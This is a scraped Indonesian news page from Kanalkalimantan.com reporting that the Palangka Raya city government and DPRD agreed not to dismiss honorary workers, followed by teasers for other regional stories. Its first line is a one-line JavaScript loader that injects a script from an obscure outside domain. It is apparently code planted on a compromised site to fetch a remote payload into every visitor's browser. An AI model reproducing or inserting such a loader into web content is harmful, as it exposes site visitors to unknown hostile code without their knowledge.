(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA – Pemerintah Kota (pemko) Palangka Raya bersama DPRD Palangka Raya, sepakat untuk tidak memberhentikan tenaga honorer yang bekerja di lingkungan Pemerintahan Kota Palangka Raya.
Begitu dibahas dalam Rapat Dengar Pendapat (RDP) antara Komisi A DPRD Palangka Raya, bersama Badan Kepegawaian dan Pendidikan dan Pengembangan Sumber Daya Manusia (BKPSDM) beberapa waktu lalu.
Baca juga: Ketua DPRD Palangkaraya Tekankan Pentingnya Regulasi Kampung Wisata
“Dalam RDP telah dibahas terkait edaran Menpan RB tentang pendataan tenaga honorer. Keputusan dari hasil RDP, maka secara umum untuk lingkup Pemko Palangka Raya tidak ada pemberhentian terhadap tenaga honorer,” ungkap Ketua Komisi A DPRD Palangka Raya, Subandi, kemarin di Palangka Raya.
Maka dari itu lanjut dia, semua tenaga honorer di Kota Palangka Raya tidak perlu gelisah. Karena sesuai dengan edaran Menpan RB tertanggal 28 November, setiap tahunnya SK honorer akan selalu diperpanjang. Kecuali kepada tenaga honorer yang bermasalah. Misalnya tidak pernah turun ke kantor dan lain sebagainya. (Kanalkalimantan.com/tri)
Reporter : tri
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.